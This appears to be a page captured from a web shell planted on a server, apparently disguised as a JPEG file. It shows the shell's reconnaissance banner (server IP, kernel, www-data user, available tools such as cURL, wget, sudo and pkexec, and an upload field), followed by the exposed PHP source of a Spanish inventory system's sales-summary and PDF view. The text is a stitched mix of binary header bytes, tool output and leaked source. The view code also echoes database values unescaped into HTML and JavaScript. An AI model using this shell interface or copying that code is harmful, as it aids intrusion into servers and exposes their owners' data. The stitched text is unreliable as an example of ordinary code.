����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.116.60.81 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/view/ |
Upload File : |
<section class="content"> <h1>SISTEMAS YUSA</h1> <h1>Resumen de Venta</h1> <?php if(isset($_GET["id"]) && $_GET["id"]!=""):?> <?php $sell = SellData::getById($_GET["id"]); $operations = OperationData::getAllProductsBySellId($_GET["id"]); $total = 0; ?> <div class="row"> <div class="col-md-5"> <div class="box box-primary"> <table class="table table-bordered"> <?php if($sell->person_id!=""): $client = $sell->getPerson(); ?> <tr> <td style="width:50px;">Cliente</td> <td><?php echo $client->name." ".$client->lastname;?></td> </tr> <?php endif; ?> <?php if($sell->user_id!=""): $user = $sell->getUser(); ?> <tr> <td>Atendido por</td> <td><?php echo $user->name." ".$user->lastname;?></td> </tr> <?php endif; ?> </table> </div> </div> </div> <br> <div class="row"> <div class="col-md-5"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td style="width:150px;"><h4>Cantidad</h4></td> <th><h4>Nombre del Producto</h4></th> </tr> <tr> <th><h4>Precio Unitario</h4></th> <th><h4>Total</h4></th> </tr> <?php foreach($operations as $operation){ $product = $operation->getProduct(); ?> <tr> <td><h4><?php echo $operation->q ; ?></h4></td> <td><h4><?php echo $product->name ;?></h4></td> </tr> <tr> <td>$ <?php echo number_format($operation->price_out,2,".",",") ;?></td> <td><b><h4>$ <?php echo number_format($operation->q*$operation->price_out,2,".",",");$total+=$operation->q*$operation->price_out;?></h4></b></td> </tr> <?php } ?> </table> </div> </div> </div> <br><br> <div class="row"> <div class="col-md-5"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Descuento:</h4></td> <td><h4>$ <?php echo number_format($sell->discount,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Subtotal:</h4></td> <td><h4>$ <?php echo number_format($total,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Total:</h4></td> <td><h4>$ <?php echo number_format($total- $sell->discount,2,'.',','); ?></h4></td> </tr> </table> </div> <?php if($sell->person_id!=""): $credit=PaymentData::sumByClientId($sell->person_id)->total; ?> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Saldo anterior:</h4></td> <td><h4>$ <?php echo number_format($credit-$total,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Saldo Actual:</h4></td> <td><h4>$ <?php echo number_format($credit,2,'.',','); ?></h4></td> </tr> </table> </div> <?php endif;?> </div> </div> <script type="text/javascript"> function thePDF() { var columns = [ // {title: "Reten", dataKey: "reten"}, {title: "Codigo", dataKey: "code"}, {title: "Cantidad", dataKey: "q"}, {title: "Nombre del Producto", dataKey: "product"}, {title: "Precio unitario", dataKey: "pu"}, {title: "Total", dataKey: "total"}, // ... ]; var columns2 = [ // {title: "Reten", dataKey: "reten"}, {title: "", dataKey: "clave"}, {title: "", dataKey: "valor"}, // ... ]; var rows = [ <?php foreach($operations as $operation): $product = $operation->getProduct(); ?> { "code": "<?php echo $product->id; ?>", "q": "<?php echo $operation->q; ?>", "product": "<?php echo $product->name; ?>", "pu": "$ <?php echo number_format($operation->price_out,2,".",","); ?>", "total": "$ <?php echo number_format($operation->q*$operation->price_out,2,".",","); ?>", }, <?php endforeach; ?> ]; var rows2 = [ <?php if($sell->person_id!=""): $person = $sell->getPerson(); ?> { "clave": "Cliente", "valor": "<?php echo $person->name." ".$person->lastname; ?>", }, <?php endif; ?> { "clave": "Atendido por", "valor": "<?php echo $user->name." ".$user->lastname; ?>", }, ]; var rows3 = [ { "clave": "Descuento", "valor": "$ <?php echo number_format($sell->discount,2,'.',',');; ?>", }, { "clave": "Subtotal", "valor": "$ <?php echo number_format($sell->total,2,'.',',');; ?>", }, { "clave": "Total", "valor": "$ <?php echo number_format($sell->total-$sell->discount,2,'.',',');; ?>", }, ]; // Only pt supported (not mm or in) var doc = new jsPDF('p', 'pt'); doc.setFontSize(26); doc.text("NOTA DE VENTA", 40, 65); doc.setFontSize(14); doc.text("Fecha: <?php echo $sell->created_at; ?>", 40, 80); // doc.text("Operador:", 40, 150); // doc.text("Header", 40, 30); // doc.text("Header", 40, 30); doc.autoTable(columns2, rows2, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: 100}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); doc.autoTable(columns, rows, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); doc.autoTable(columns2, rows2, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { doc.text("Header", 40, 30); } }); //doc.setFontsize //img = new Image(); //img.src = "liberacion2.jpg"; //doc.addImage(img, 'JPEG', 40, 10, 610, 100, 'monkey'); // Cache the image using the alias 'monkey' doc.setFontSize(20); doc.setFontSize(12); doc.text("Generado por el Sistema de inventario", 40, doc.autoTableEndPosY()+25); doc.save('sell-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf'); //doc.output("datauri"); } </script> <script> $(document).ready(function(){ // $("#makepdf").trigger("click"); }); </script> <?php else:?> 501 Internal Error <?php endif; ?> </section>